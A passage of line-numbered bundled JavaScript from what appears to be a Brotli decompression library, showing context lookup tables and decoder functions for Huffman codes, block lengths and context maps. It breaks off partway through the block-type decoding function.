11247 2,
11248 2,
11249 2,
11250 2,
11251 2,
11252 2,
11253 2,
11254 2,
11255 2,
11256 2,
11257 2,
11258 2,
11259 2,
11260 2,
11261 2,
11262 2,
11263 2,
11264 2,
11265 2,
11266 2,
11267 2,
11268 2,
11269 2,
11270 2,
11271 2,
11272 2,
11273 2,
11274 2,
11275 2,
11276 2,
11277 2,
11278 2,
11279 2,
11280 2,
11281 2,
11282 2,
11283 2,
11284 2,
11285 2,
11286 2,
11287 2,
11288 3,
11289 3,
11290 3,
11291 3,
11292 3,
11293 3,
11294 3,
11295 3,
11296 3,
11297 3,
11298 3,
11299 3,
11300 3,
11301 3,
11302 3,
11303 3,
11304 3,
11305 3,
11306 3,
11307 3,
11308 3,
11309 3,
11310 3,
11311 3,
11312 3,
11313 3,
11314 3,
11315 3,
11316 3,
11317 3,
11318 3,
11319 3,
11320 3,
11321 3,
11322 3,
11323 3,
11324 3,
11325 3,
11326 3,
11327 3,
11328 3,
11329 3,
11330 3,
11331 3,
11332 3,
11333 3,
11334 3,
11335 3,
11336 3,
11337 3,
11338 3,
11339 3,
11340 3,
11341 3,
11342 3,
11343 3,
11344 3,
11345 3,
11346 3,
11347 3,
11348 3,
11349 3,
11350 3,
11351 3,
11352 4,
11353 4,
11354 4,
11355 4,
11356 4,
11357 4,
11358 4,
11359 4,
11360 4,
11361 4,
11362 4,
11363 4,
11364 4,
11365 4,
11366 4,
11367 4,
11368 4,
11369 4,
11370 4,
11371 4,
11372 4,
11373 4,
11374 4,
11375 4,
11376 4,
11377 4,
11378 4,
11379 4,
11380 4,
11381 4,
11382 4,
11383 4,
11384 4,
11385 4,
11386 4,
11387 4,
11388 4,
11389 4,
11390 4,
11391 4,
11392 4,
11393 4,
11394 4,
11395 4,
11396 4,
11397 4,
11398 4,
11399 4,
11400 4,
11401 4,
11402 4,
11403 4,
11404 4,
11405 4,
11406 4,
11407 4,
11408 4,
11409 4,
11410 4,
11411 4,
11412 4,
11413 4,
11414 4,
11415 4,
11416 5,
11417 5,
11418 5,
11419 5,
11420 5,
11421 5,
11422 5,
11423 5,
11424 5,
11425 5,
11426 5,
11427 5,
11428 5,
11429 5,
11430 5,
11431 5,
11432 5,
11433 5,
11434 5,
11435 5,
11436 5,
11437 5,
11438 5,
11439 5,
11440 5,
11441 5,
11442 5,
11443 5,
11444 5,
11445 5,
11446 5,
11447 5,
11448 5,
11449 5,
11450 5,
11451 5,
11452 5,
11453 5,
11454 5,
11455 5,
11456 5,
11457 5,
11458 5,
11459 5,
11460 5,
11461 5,
11462 5,
11463 5,
11464 6,
11465 6,
11466 6,
11467 6,
11468 6,
11469 6,
11470 6,
11471 6,
11472 6,
11473 6,
11474 6,
11475 6,
11476 6,
11477 6,
11478 6,
11479 7,
11480 /* CONTEXT_SIGNED, last byte, same as the above values shifted by 3 bits. */
11481 0,
11482 8,
11483 8,
11484 8,
11485 8,
11486 8,
11487 8,
11488 8,
11489 8,
11490 8,
11491 8,
11492 8,
11493 8,
11494 8,
11495 8,
11496 8,
11497 16,
11498 16,
11499 16,
11500 16,
11501 16,
11502 16,
11503 16,
11504 16,
11505 16,
11506 16,
11507 16,
11508 16,
11509 16,
11510 16,
11511 16,
11512 16,
11513 16,
11514 16,
11515 16,
11516 16,
11517 16,
11518 16,
11519 16,
11520 16,
11521 16,
11522 16,
11523 16,
11524 16,
11525 16,
11526 16,
11527 16,
11528 16,
11529 16,
11530 16,
11531 16,
11532 16,
11533 16,
11534 16,
11535 16,
11536 16,
11537 16,
11538 16,
11539 16,
11540 16,
11541 16,
11542 16,
11543 16,
11544 16,
11545 24,
11546 24,
11547 24,
11548 24,
11549 24,
11550 24,
11551 24,
11552 24,
11553 24,
11554 24,
11555 24,
11556 24,
11557 24,
11558 24,
11559 24,
11560 24,
11561 24,
11562 24,
11563 24,
11564 24,
11565 24,
11566 24,
11567 24,
11568 24,
11569 24,
11570 24,
11571 24,
11572 24,
11573 24,
11574 24,
11575 24,
11576 24,
11577 24,
11578 24,
11579 24,
11580 24,
11581 24,
11582 24,
11583 24,
11584 24,
11585 24,
11586 24,
11587 24,
11588 24,
11589 24,
11590 24,
11591 24,
11592 24,
11593 24,
11594 24,
11595 24,
11596 24,
11597 24,
11598 24,
11599 24,
11600 24,
11601 24,
11602 24,
11603 24,
11604 24,
11605 24,
11606 24,
11607 24,
11608 24,
11609 32,
11610 32,
11611 32,
11612 32,
11613 32,
11614 32,
11615 32,
11616 32,
11617 32,
11618 32,
11619 32,
11620 32,
11621 32,
11622 32,
11623 32,
11624 32,
11625 32,
11626 32,
11627 32,
11628 32,
11629 32,
11630 32,
11631 32,
11632 32,
11633 32,
11634 32,
11635 32,
11636 32,
11637 32,
11638 32,
11639 32,
11640 32,
11641 32,
11642 32,
11643 32,
11644 32,
11645 32,
11646 32,
11647 32,
11648 32,
11649 32,
11650 32,
11651 32,
11652 32,
11653 32,
11654 32,
11655 32,
11656 32,
11657 32,
11658 32,
11659 32,
11660 32,
11661 32,
11662 32,
11663 32,
11664 32,
11665 32,
11666 32,
11667 32,
11668 32,
11669 32,
11670 32,
11671 32,
11672 32,
11673 40,
11674 40,
11675 40,
11676 40,
11677 40,
11678 40,
11679 40,
11680 40,
11681 40,
11682 40,
11683 40,
11684 40,
11685 40,
11686 40,
11687 40,
11688 40,
11689 40,
11690 40,
11691 40,
11692 40,
11693 40,
11694 40,
11695 40,
11696 40,
11697 40,
11698 40,
11699 40,
11700 40,
11701 40,
11702 40,
11703 40,
11704 40,
11705 40,
11706 40,
11707 40,
11708 40,
11709 40,
11710 40,
11711 40,
11712 40,
11713 40,
11714 40,
11715 40,
11716 40,
11717 40,
11718 40,
11719 40,
11720 40,
11721 48,
11722 48,
11723 48,
11724 48,
11725 48,
11726 48,
11727 48,
11728 48,
11729 48,
11730 48,
11731 48,
11732 48,
11733 48,
11734 48,
11735 48,
11736 56,
11737 /* CONTEXT_LSB6, last byte. */
11738 0,
11739 1,
11740 2,
11741 3,
11742 4,
11743 5,
11744 6,
11745 7,
11746 8,
11747 9,
11748 10,
11749 11,
11750 12,
11751 13,
11752 14,
11753 15,
11754 16,
11755 17,
11756 18,
11757 19,
11758 20,
11759 21,
11760 22,
11761 23,
11762 24,
11763 25,
11764 26,
11765 27,
11766 28,
11767 29,
11768 30,
11769 31,
11770 32,
11771 33,
11772 34,
11773 35,
11774 36,
11775 37,
11776 38,
11777 39,
11778 40,
11779 41,
11780 42,
11781 43,
11782 44,
11783 45,
11784 46,
11785 47,
11786 48,
11787 49,
11788 50,
11789 51,
11790 52,
11791 53,
11792 54,
11793 55,
11794 56,
11795 57,
11796 58,
11797 59,
11798 60,
11799 61,
11800 62,
11801 63,
11802 0,
11803 1,
11804 2,
11805 3,
11806 4,
11807 5,
11808 6,
11809 7,
11810 8,
11811 9,
11812 10,
11813 11,
11814 12,
11815 13,
11816 14,
11817 15,
11818 16,
11819 17,
11820 18,
11821 19,
11822 20,
11823 21,
11824 22,
11825 23,
11826 24,
11827 25,
11828 26,
11829 27,
11830 28,
11831 29,
11832 30,
11833 31,
11834 32,
11835 33,
11836 34,
11837 35,
11838 36,
11839 37,
11840 38,
11841 39,
11842 40,
11843 41,
11844 42,
11845 43,
11846 44,
11847 45,
11848 46,
11849 47,
11850 48,
11851 49,
11852 50,
11853 51,
11854 52,
11855 53,
11856 54,
11857 55,
11858 56,
11859 57,
11860 58,
11861 59,
11862 60,
11863 61,
11864 62,
11865 63,
11866 0,
11867 1,
11868 2,
11869 3,
11870 4,
11871 5,
11872 6,
11873 7,
11874 8,
11875 9,
11876 10,
11877 11,
11878 12,
11879 13,
11880 14,
11881 15,
11882 16,
11883 17,
11884 18,
11885 19,
11886 20,
11887 21,
11888 22,
11889 23,
11890 24,
11891 25,
11892 26,
11893 27,
11894 28,
11895 29,
11896 30,
11897 31,
11898 32,
11899 33,
11900 34,
11901 35,
11902 36,
11903 37,
11904 38,
11905 39,
11906 40,
11907 41,
11908 42,
11909 43,
11910 44,
11911 45,
11912 46,
11913 47,
11914 48,
11915 49,
11916 50,
11917 51,
11918 52,
11919 53,
11920 54,
11921 55,
11922 56,
11923 57,
11924 58,
11925 59,
11926 60,
11927 61,
11928 62,
11929 63,
11930 0,
11931 1,
11932 2,
11933 3,
11934 4,
11935 5,
11936 6,
11937 7,
11938 8,
11939 9,
11940 10,
11941 11,
11942 12,
11943 13,
11944 14,
11945 15,
11946 16,
11947 17,
11948 18,
11949 19,
11950 20,
11951 21,
11952 22,
11953 23,
11954 24,
11955 25,
11956 26,
11957 27,
11958 28,
11959 29,
11960 30,
11961 31,
11962 32,
11963 33,
11964 34,
11965 35,
11966 36,
11967 37,
11968 38,
11969 39,
11970 40,
11971 41,
11972 42,
11973 43,
11974 44,
11975 45,
11976 46,
11977 47,
11978 48,
11979 49,
11980 50,
11981 51,
11982 52,
11983 53,
11984 54,
11985 55,
11986 56,
11987 57,
11988 58,
11989 59,
11990 60,
11991 61,
11992 62,
11993 63,
11994 /* CONTEXT_MSB6, last byte. */
11995 0,
11996 0,
11997 0,
11998 0,
11999 1,
12000 1,
12001 1,
12002 1,
12003 2,
12004 2,
12005 2,
12006 2,
12007 3,
12008 3,
12009 3,
12010 3,
12011 4,
12012 4,
12013 4,
12014 4,
12015 5,
12016 5,
12017 5,
12018 5,
12019 6,
12020 6,
12021 6,
12022 6,
12023 7,
12024 7,
12025 7,
12026 7,
12027 8,
12028 8,
12029 8,
12030 8,
12031 9,
12032 9,
12033 9,
12034 9,
12035 10,
12036 10,
12037 10,
12038 10,
12039 11,
12040 11,
12041 11,
12042 11,
12043 12,
12044 12,
12045 12,
12046 12,
12047 13,
12048 13,
12049 13,
12050 13,
12051 14,
12052 14,
12053 14,
12054 14,
12055 15,
12056 15,
12057 15,
12058 15,
12059 16,
12060 16,
12061 16,
12062 16,
12063 17,
12064 17,
12065 17,
12066 17,
12067 18,
12068 18,
12069 18,
12070 18,
12071 19,
12072 19,
12073 19,
12074 19,
12075 20,
12076 20,
12077 20,
12078 20,
12079 21,
12080 21,
12081 21,
12082 21,
12083 22,
12084 22,
12085 22,
12086 22,
12087 23,
12088 23,
12089 23,
12090 23,
12091 24,
12092 24,
12093 24,
12094 24,
12095 25,
12096 25,
12097 25,
12098 25,
12099 26,
12100 26,
12101 26,
12102 26,
12103 27,
12104 27,
12105 27,
12106 27,
12107 28,
12108 28,
12109 28,
12110 28,
12111 29,
12112 29,
12113 29,
12114 29,
12115 30,
12116 30,
12117 30,
12118 30,
12119 31,
12120 31,
12121 31,
12122 31,
12123 32,
12124 32,
12125 32,
12126 32,
12127 33,
12128 33,
12129 33,
12130 33,
12131 34,
12132 34,
12133 34,
12134 34,
12135 35,
12136 35,
12137 35,
12138 35,
12139 36,
12140 36,
12141 36,
12142 36,
12143 37,
12144 37,
12145 37,
12146 37,
12147 38,
12148 38,
12149 38,
12150 38,
12151 39,
12152 39,
12153 39,
12154 39,
12155 40,
12156 40,
12157 40,
12158 40,
12159 41,
12160 41,
12161 41,
12162 41,
12163 42,
12164 42,
12165 42,
12166 42,
12167 43,
12168 43,
12169 43,
12170 43,
12171 44,
12172 44,
12173 44,
12174 44,
12175 45,
12176 45,
12177 45,
12178 45,
12179 46,
12180 46,
12181 46,
12182 46,
12183 47,
12184 47,
12185 47,
12186 47,
12187 48,
12188 48,
12189 48,
12190 48,
12191 49,
12192 49,
12193 49,
12194 49,
12195 50,
12196 50,
12197 50,
12198 50,
12199 51,
12200 51,
12201 51,
12202 51,
12203 52,
12204 52,
12205 52,
12206 52,
12207 53,
12208 53,
12209 53,
12210 53,
12211 54,
12212 54,
12213 54,
12214 54,
12215 55,
12216 55,
12217 55,
12218 55,
12219 56,
12220 56,
12221 56,
12222 56,
12223 57,
12224 57,
12225 57,
12226 57,
12227 58,
12228 58,
12229 58,
12230 58,
12231 59,
12232 59,
12233 59,
12234 59,
12235 60,
12236 60,
12237 60,
12238 60,
12239 61,
12240 61,
12241 61,
12242 61,
12243 62,
12244 62,
12245 62,
12246 62,
12247 63,
12248 63,
12249 63,
12250 63,
12251 /* CONTEXT_{M,L}SB6, second last byte, */
12252 0,
12253 0,
12254 0,
12255 0,
12256 0,
12257 0,
12258 0,
12259 0,
12260 0,
12261 0,
12262 0,
12263 0,
12264 0,
12265 0,
12266 0,
12267 0,
12268 0,
12269 0,
12270 0,
12271 0,
12272 0,
12273 0,
12274 0,
12275 0,
12276 0,
12277 0,
12278 0,
12279 0,
12280 0,
12281 0,
12282 0,
12283 0,
12284 0,
12285 0,
12286 0,
12287 0,
12288 0,
12289 0,
12290 0,
12291 0,
12292 0,
12293 0,
12294 0,
12295 0,
12296 0,
12297 0,
12298 0,
12299 0,
12300 0,
12301 0,
12302 0,
12303 0,
12304 0,
12305 0,
12306 0,
12307 0,
12308 0,
12309 0,
12310 0,
12311 0,
12312 0,
12313 0,
12314 0,
12315 0,
12316 0,
12317 0,
12318 0,
12319 0,
12320 0,
12321 0,
12322 0,
12323 0,
12324 0,
12325 0,
12326 0,
12327 0,
12328 0,
12329 0,
12330 0,
12331 0,
12332 0,
12333 0,
12334 0,
12335 0,
12336 0,
12337 0,
12338 0,
12339 0,
12340 0,
12341 0,
12342 0,
12343 0,
12344 0,
12345 0,
12346 0,
12347 0,
12348 0,
12349 0,
12350 0,
12351 0,
12352 0,
12353 0,
12354 0,
12355 0,
12356 0,
12357 0,
12358 0,
12359 0,
12360 0,
12361 0,
12362 0,
12363 0,
12364 0,
12365 0,
12366 0,
12367 0,
12368 0,
12369 0,
12370 0,
12371 0,
12372 0,
12373 0,
12374 0,
12375 0,
12376 0,
12377 0,
12378 0,
12379 0,
12380 0,
12381 0,
12382 0,
12383 0,
12384 0,
12385 0,
12386 0,
12387 0,
12388 0,
12389 0,
12390 0,
12391 0,
12392 0,
12393 0,
12394 0,
12395 0,
12396 0,
12397 0,
12398 0,
12399 0,
12400 0,
12401 0,
12402 0,
12403 0,
12404 0,
12405 0,
12406 0,
12407 0,
12408 0,
12409 0,
12410 0,
12411 0,
12412 0,
12413 0,
12414 0,
12415 0,
12416 0,
12417 0,
12418 0,
12419 0,
12420 0,
12421 0,
12422 0,
12423 0,
12424 0,
12425 0,
12426 0,
12427 0,
12428 0,
12429 0,
12430 0,
12431 0,
12432 0,
12433 0,
12434 0,
12435 0,
12436 0,
12437 0,
12438 0,
12439 0,
12440 0,
12441 0,
12442 0,
12443 0,
12444 0,
12445 0,
12446 0,
12447 0,
12448 0,
12449 0,
12450 0,
12451 0,
12452 0,
12453 0,
12454 0,
12455 0,
12456 0,
12457 0,
12458 0,
12459 0,
12460 0,
12461 0,
12462 0,
12463 0,
12464 0,
12465 0,
12466 0,
12467 0,
12468 0,
12469 0,
12470 0,
12471 0,
12472 0,
12473 0,
12474 0,
12475 0,
12476 0,
12477 0,
12478 0,
12479 0,
12480 0,
12481 0,
12482 0,
12483 0,
12484 0,
12485 0,
12486 0,
12487 0,
12488 0,
12489 0,
12490 0,
12491 0,
12492 0,
12493 0,
12494 0,
12495 0,
12496 0,
12497 0,
12498 0,
12499 0,
12500 0,
12501 0,
12502 0,
12503 0,
12504 0,
12505 0,
12506 0,
12507 0
12508 ]);
12509 exports2.lookupOffsets = new Uint16Array([
12510 /* CONTEXT_LSB6 */
12511 1024,
12512 1536,
12513 1280,
12514 1536,
12515 0,
12516 256,
12517 768,
12518 512
12519 ]);
12520 },
12521 {}
12522 ],
12523 3: [
12524 function(require2, module2, exports2) {
12525 var BrotliInput = require2("./streams").BrotliInput;
12526 var BrotliOutput = require2("./streams").BrotliOutput;
12527 var BrotliBitReader = require2("./bit_reader");
12528 var BrotliDictionary = require2("./dictionary");
12529 var HuffmanCode = require2("./huffman").HuffmanCode;
12530 var BrotliBuildHuffmanTable = require2("./huffman").BrotliBuildHuffmanTable;
12531 var Context = require2("./context");
12532 var Prefix = require2("./prefix");
12533 var Transform = require2("./transform");
12534 var kDefaultCodeLength = 8;
12535 var kCodeLengthRepeatCode = 16;
12536 var kNumLiteralCodes = 256;
12537 var kNumInsertAndCopyCodes = 704;
12538 var kNumBlockLengthCodes = 26;
12539 var kLiteralContextBits = 6;
12540 var kDistanceContextBits = 2;
12541 var HUFFMAN_TABLE_BITS = 8;
12542 var HUFFMAN_TABLE_MASK = 255;
12543 var HUFFMAN_MAX_TABLE_SIZE = 1080;
12544 var CODE_LENGTH_CODES = 18;
12545 var kCodeLengthCodeOrder = new Uint8Array([
12546 1,
12547 2,
12548 3,
12549 4,
12550 0,
12551 5,
12552 17,
12553 6,
12554 16,
12555 7,
12556 8,
12557 9,
12558 10,
12559 11,
12560 12,
12561 13,
12562 14,
12563 15
12564 ]);
12565 var NUM_DISTANCE_SHORT_CODES = 16;
12566 var kDistanceShortCodeIndexOffset = new Uint8Array([
12567 3,
12568 2,
12569 1,
12570 0,
12571 3,
12572 3,
12573 3,
12574 3,
12575 3,
12576 3,
12577 2,
12578 2,
12579 2,
12580 2,
12581 2,
12582 2
12583 ]);
12584 var kDistanceShortCodeValueOffset = new Int8Array([
12585 0,
12586 0,
12587 0,
12588 0,
12589 -1,
12590 1,
12591 -2,
12592 2,
12593 -3,
12594 3,
12595 -1,
12596 1,
12597 -2,
12598 2,
12599 -3,
12600 3
12601 ]);
12602 var kMaxHuffmanTableSize = new Uint16Array([
12603 256,
12604 402,
12605 436,
12606 468,
12607 500,
12608 534,
12609 566,
12610 598,
12611 630,
12612 662,
12613 694,
12614 726,
12615 758,
12616 790,
12617 822,
12618 854,
12619 886,
12620 920,
12621 952,
12622 984,
12623 1016,
12624 1048,
12625 1080
12626 ]);
12627 function DecodeWindowBits(br) {
12628 var n2;
12629 if (br.readBits(1) === 0) {
12630 return 16;
12631 }
12632 n2 = br.readBits(3);
12633 if (n2 > 0) {
12634 return 17 + n2;
12635 }
12636 n2 = br.readBits(3);
12637 if (n2 > 0) {
12638 return 8 + n2;
12639 }
12640 return 17;
12641 }
12642 function DecodeVarLenUint8(br) {
12643 if (br.readBits(1)) {
12644 var nbits = br.readBits(3);
12645 if (nbits === 0) {
12646 return 1;
12647 } else {
12648 return br.readBits(nbits) + (1 << nbits);
12649 }
12650 }
12651 return 0;
12652 }
12653 function MetaBlockLength() {
12654 this.meta_block_length = 0;
12655 this.input_end = 0;
12656 this.is_uncompressed = 0;
12657 this.is_metadata = false;
12658 }
12659 function DecodeMetaBlockLength(br) {
12660 var out = new MetaBlockLength();
12661 var size_nibbles;
12662 var size_bytes;
12663 var i2;
12664 out.input_end = br.readBits(1);
12665 if (out.input_end && br.readBits(1)) {
12666 return out;
12667 }
12668 size_nibbles = br.readBits(2) + 4;
12669 if (size_nibbles === 7) {
12670 out.is_metadata = true;
12671 if (br.readBits(1) !== 0)
12672 throw new Error("Invalid reserved bit");
12673 size_bytes = br.readBits(2);
12674 if (size_bytes === 0) return out;
12675 for (i2 = 0; i2 < size_bytes; i2++) {
12676 var next_byte = br.readBits(8);
12677 if (i2 + 1 === size_bytes && size_bytes > 1 && next_byte === 0)
12678 throw new Error("Invalid size byte");
12679 out.meta_block_length |= next_byte << i2 * 8;
12680 }
12681 } else {
12682 for (i2 = 0; i2 < size_nibbles; ++i2) {
12683 var next_nibble = br.readBits(4);
12684 if (i2 + 1 === size_nibbles && size_nibbles > 4 && next_nibble === 0)
12685 throw new Error("Invalid size nibble");
12686 out.meta_block_length |= next_nibble << i2 * 4;
12687 }
12688 }
12689 ++out.meta_block_length;
12690 if (!out.input_end && !out.is_metadata) {
12691 out.is_uncompressed = br.readBits(1);
12692 }
12693 return out;
12694 }
12695 function ReadSymbol(table, index, br) {
12696 var start_index = index;
12697 var nbits;
12698 br.fillBitWindow();
12699 index += br.val_ >>> br.bit_pos_ & HUFFMAN_TABLE_MASK;
12700 nbits = table[index].bits - HUFFMAN_TABLE_BITS;
12701 if (nbits > 0) {
12702 br.bit_pos_ += HUFFMAN_TABLE_BITS;
12703 index += table[index].value;
12704 index += br.val_ >>> br.bit_pos_ & (1 << nbits) - 1;
12705 }
12706 br.bit_pos_ += table[index].bits;
12707 return table[index].value;
12708 }
12709 function ReadHuffmanCodeLengths(code_length_code_lengths, num_symbols, code_lengths, br) {
12710 var symbol3 = 0;
12711 var prev_code_len = kDefaultCodeLength;
12712 var repeat = 0;
12713 var repeat_code_len = 0;
12714 var space = 32768;
12715 var table = [];
12716 for (var i2 = 0; i2 < 32; i2++)
12717 table.push(new HuffmanCode(0, 0));
12718 BrotliBuildHuffmanTable(
12719 table,
12720 0,
12721 5,
12722 code_length_code_lengths,
12723 CODE_LENGTH_CODES
12724 );
12725 while (symbol3 < num_symbols && space > 0) {
12726 var p3 = 0;
12727 var code_len;
12728 br.readMoreInput();
12729 br.fillBitWindow();
12730 p3 += br.val_ >>> br.bit_pos_ & 31;
12731 br.bit_pos_ += table[p3].bits;
12732 code_len = table[p3].value & 255;
12733 if (code_len < kCodeLengthRepeatCode) {
12734 repeat = 0;
12735 code_lengths[symbol3++] = code_len;
12736 if (code_len !== 0) {
12737 prev_code_len = code_len;
12738 space -= 32768 >> code_len;
12739 }
12740 } else {
12741 var extra_bits = code_len - 14;
12742 var old_repeat;
12743 var repeat_delta;
12744 var new_len = 0;
12745 if (code_len === kCodeLengthRepeatCode) {
12746 new_len = prev_code_len;
12747 }
12748 if (repeat_code_len !== new_len) {
12749 repeat = 0;
12750 repeat_code_len = new_len;
12751 }
12752 old_repeat = repeat;
12753 if (repeat > 0) {
12754 repeat -= 2;
12755 repeat <<= extra_bits;
12756 }
12757 repeat += br.readBits(extra_bits) + 3;
12758 repeat_delta = repeat - old_repeat;
12759 if (symbol3 + repeat_delta > num_symbols) {
12760 throw new Error(
12761 "[ReadHuffmanCodeLengths] symbol + repeat_delta > num_symbols"
12762 );
12763 }
12764 for (var x2 = 0; x2 < repeat_delta; x2++)
12765 code_lengths[symbol3 + x2] = repeat_code_len;
12766 symbol3 += repeat_delta;
12767 if (repeat_code_len !== 0) {
12768 space -= repeat_delta << 15 - repeat_code_len;
12769 }
12770 }
12771 }
12772 if (space !== 0) {
12773 throw new Error(
12774 "[ReadHuffmanCodeLengths] space = " + space
12775 );
12776 }
12777 for (; symbol3 < num_symbols; symbol3++)
12778 code_lengths[symbol3] = 0;
12779 }
12780 function ReadHuffmanCode(alphabet_size, tables, table, br) {
12781 var table_size = 0;
12782 var simple_code_or_skip;
12783 var code_lengths = new Uint8Array(alphabet_size);
12784 br.readMoreInput();
12785 simple_code_or_skip = br.readBits(2);
12786 if (simple_code_or_skip === 1) {
12787 var i2;
12788 var max_bits_counter = alphabet_size - 1;
12789 var max_bits = 0;
12790 var symbols = new Int32Array(4);
12791 var num_symbols = br.readBits(2) + 1;
12792 while (max_bits_counter) {
12793 max_bits_counter >>= 1;
12794 ++max_bits;
12795 }
12796 for (i2 = 0; i2 < num_symbols; ++i2) {
12797 symbols[i2] = br.readBits(max_bits) % alphabet_size;
12798 code_lengths[symbols[i2]] = 2;
12799 }
12800 code_lengths[symbols[0]] = 1;
12801 switch (num_symbols) {
12802 case 1:
12803 break;
12804 case 3:
12805 if (symbols[0] === symbols[1] || symbols[0] === symbols[2] || symbols[1] === symbols[2]) {
12806 throw new Error(
12807 "[ReadHuffmanCode] invalid symbols"
12808 );
12809 }
12810 break;
12811 case 2:
12812 if (symbols[0] === symbols[1]) {
12813 throw new Error(
12814 "[ReadHuffmanCode] invalid symbols"
12815 );
12816 }
12817 code_lengths[symbols[1]] = 1;
12818 break;
12819 case 4:
12820 if (symbols[0] === symbols[1] || symbols[0] === symbols[2] || symbols[0] === symbols[3] || symbols[1] === symbols[2] || symbols[1] === symbols[3] || symbols[2] === symbols[3]) {
12821 throw new Error(
12822 "[ReadHuffmanCode] invalid symbols"
12823 );
12824 }
12825 if (br.readBits(1)) {
12826 code_lengths[symbols[2]] = 3;
12827 code_lengths[symbols[3]] = 3;
12828 } else {
12829 code_lengths[symbols[0]] = 2;
12830 }
12831 break;
12832 }
12833 } else {
12834 var i2;
12835 var code_length_code_lengths = new Uint8Array(
12836 CODE_LENGTH_CODES
12837 );
12838 var space = 32;
12839 var num_codes = 0;
12840 var huff = [
12841 new HuffmanCode(2, 0),
12842 new HuffmanCode(2, 4),
12843 new HuffmanCode(2, 3),
12844 new HuffmanCode(3, 2),
12845 new HuffmanCode(2, 0),
12846 new HuffmanCode(2, 4),
12847 new HuffmanCode(2, 3),
12848 new HuffmanCode(4, 1),
12849 new HuffmanCode(2, 0),
12850 new HuffmanCode(2, 4),
12851 new HuffmanCode(2, 3),
12852 new HuffmanCode(3, 2),
12853 new HuffmanCode(2, 0),
12854 new HuffmanCode(2, 4),
12855 new HuffmanCode(2, 3),
12856 new HuffmanCode(4, 5)
12857 ];
12858 for (i2 = simple_code_or_skip; i2 < CODE_LENGTH_CODES && space > 0; ++i2) {
12859 var code_len_idx = kCodeLengthCodeOrder[i2];
12860 var p3 = 0;
12861 var v2;
12862 br.fillBitWindow();
12863 p3 += br.val_ >>> br.bit_pos_ & 15;
12864 br.bit_pos_ += huff[p3].bits;
12865 v2 = huff[p3].value;
12866 code_length_code_lengths[code_len_idx] = v2;
12867 if (v2 !== 0) {
12868 space -= 32 >> v2;
12869 ++num_codes;
12870 }
12871 }
12872 if (!(num_codes === 1 || space === 0))
12873 throw new Error(
12874 "[ReadHuffmanCode] invalid num_codes or space"
12875 );
12876 ReadHuffmanCodeLengths(
12877 code_length_code_lengths,
12878 alphabet_size,
12879 code_lengths,
12880 br
12881 );
12882 }
12883 table_size = BrotliBuildHuffmanTable(
12884 tables,
12885 table,
12886 HUFFMAN_TABLE_BITS,
12887 code_lengths,
12888 alphabet_size
12889 );
12890 if (table_size === 0) {
12891 throw new Error(
12892 "[ReadHuffmanCode] BuildHuffmanTable failed: "
12893 );
12894 }
12895 return table_size;
12896 }
12897 function ReadBlockLength(table, index, br) {
12898 var code;
12899 var nbits;
12900 code = ReadSymbol(table, index, br);
12901 nbits = Prefix.kBlockLengthPrefixCode[code].nbits;
12902 return Prefix.kBlockLengthPrefixCode[code].offset + br.readBits(nbits);
12903 }
12904 function TranslateShortCodes(code, ringbuffer, index) {
12905 var val;
12906 if (code < NUM_DISTANCE_SHORT_CODES) {
12907 index += kDistanceShortCodeIndexOffset[code];
12908 index &= 3;
12909 val = ringbuffer[index] + kDistanceShortCodeValueOffset[code];
12910 } else {
12911 val = code - NUM_DISTANCE_SHORT_CODES + 1;
12912 }
12913 return val;
12914 }
12915 function MoveToFront(v2, index) {
12916 var value = v2[index];
12917 var i2 = index;
12918 for (; i2; --i2) v2[i2] = v2[i2 - 1];
12919 v2[0] = value;
12920 }
12921 function InverseMoveToFrontTransform(v2, v_len) {
12922 var mtf = new Uint8Array(256);
12923 var i2;
12924 for (i2 = 0; i2 < 256; ++i2) {
12925 mtf[i2] = i2;
12926 }
12927 for (i2 = 0; i2 < v_len; ++i2) {
12928 var index = v2[i2];
12929 v2[i2] = mtf[index];
12930 if (index) MoveToFront(mtf, index);
12931 }
12932 }
12933 function HuffmanTreeGroup(alphabet_size, num_htrees) {
12934 this.alphabet_size = alphabet_size;
12935 this.num_htrees = num_htrees;
12936 this.codes = new Array(
12937 num_htrees + num_htrees * kMaxHuffmanTableSize[alphabet_size + 31 >>> 5]
12938 );
12939 this.htrees = new Uint32Array(num_htrees);
12940 }
12941 HuffmanTreeGroup.prototype.decode = function(br) {
12942 var i2;
12943 var table_size;
12944 var next = 0;
12945 for (i2 = 0; i2 < this.num_htrees; ++i2) {
12946 this.htrees[i2] = next;
12947 table_size = ReadHuffmanCode(
12948 this.alphabet_size,
12949 this.codes,
12950 next,
12951 br
12952 );
12953 next += table_size;
12954 }
12955 };
12956 function DecodeContextMap(context_map_size, br) {
12957 var out = { num_htrees: null, context_map: null };
12958 var use_rle_for_zeros;
12959 var max_run_length_prefix = 0;
12960 var table;
12961 var i2;
12962 br.readMoreInput();
12963 var num_htrees = out.num_htrees = DecodeVarLenUint8(br) + 1;
12964 var context_map = out.context_map = new Uint8Array(
12965 context_map_size
12966 );
12967 if (num_htrees <= 1) {
12968 return out;
12969 }
12970 use_rle_for_zeros = br.readBits(1);
12971 if (use_rle_for_zeros) {
12972 max_run_length_prefix = br.readBits(4) + 1;
12973 }
12974 table = [];
12975 for (i2 = 0; i2 < HUFFMAN_MAX_TABLE_SIZE; i2++) {
12976 table[i2] = new HuffmanCode(0, 0);
12977 }
12978 ReadHuffmanCode(
12979 num_htrees + max_run_length_prefix,
12980 table,
12981 0,
12982 br
12983 );
12984 for (i2 = 0; i2 < context_map_size; ) {
12985 var code;
12986 br.readMoreInput();
12987 code = ReadSymbol(table, 0, br);
12988 if (code === 0) {
12989 context_map[i2] = 0;
12990 ++i2;
12991 } else if (code <= max_run_length_prefix) {
12992 var reps = 1 + (1 << code) + br.readBits(code);
12993 while (--reps) {
12994 if (i2 >= context_map_size) {
12995 throw new Error(
12996 "[DecodeContextMap] i >= context_map_size"
12997 );
12998 }
12999 context_map[i2] = 0;
13000 ++i2;
13001 }
13002 } else {
13003 context_map[i2] = code - max_run_length_prefix;
13004 ++i2;
13005 }
13006 }
13007 if (br.readBits(1)) {
13008 InverseMoveToFrontTransform(
13009 context_map,
13010 context_map_size
13011 );
13012 }
13013 return out;
13014 }
13015 function DecodeBlockType(max_block_type, trees, tree_type, block_types, ringbuffers, indexes, br) {
13016 var ringbuffer = tree_type * 2;
13017 var index = tree_type;
13018 var type_code = ReadSymbol(
13019 trees,
13020 tree_type * HUFFMAN_MAX_TABLE_SIZE,
13021 br
13022 );
13023 var block_type;
13024 if (type_code === 0) {
13025 block_type = ringbuffers[ringbuffer + (indexes[index] & 1)];
13026 } else if (type_code === 1) {
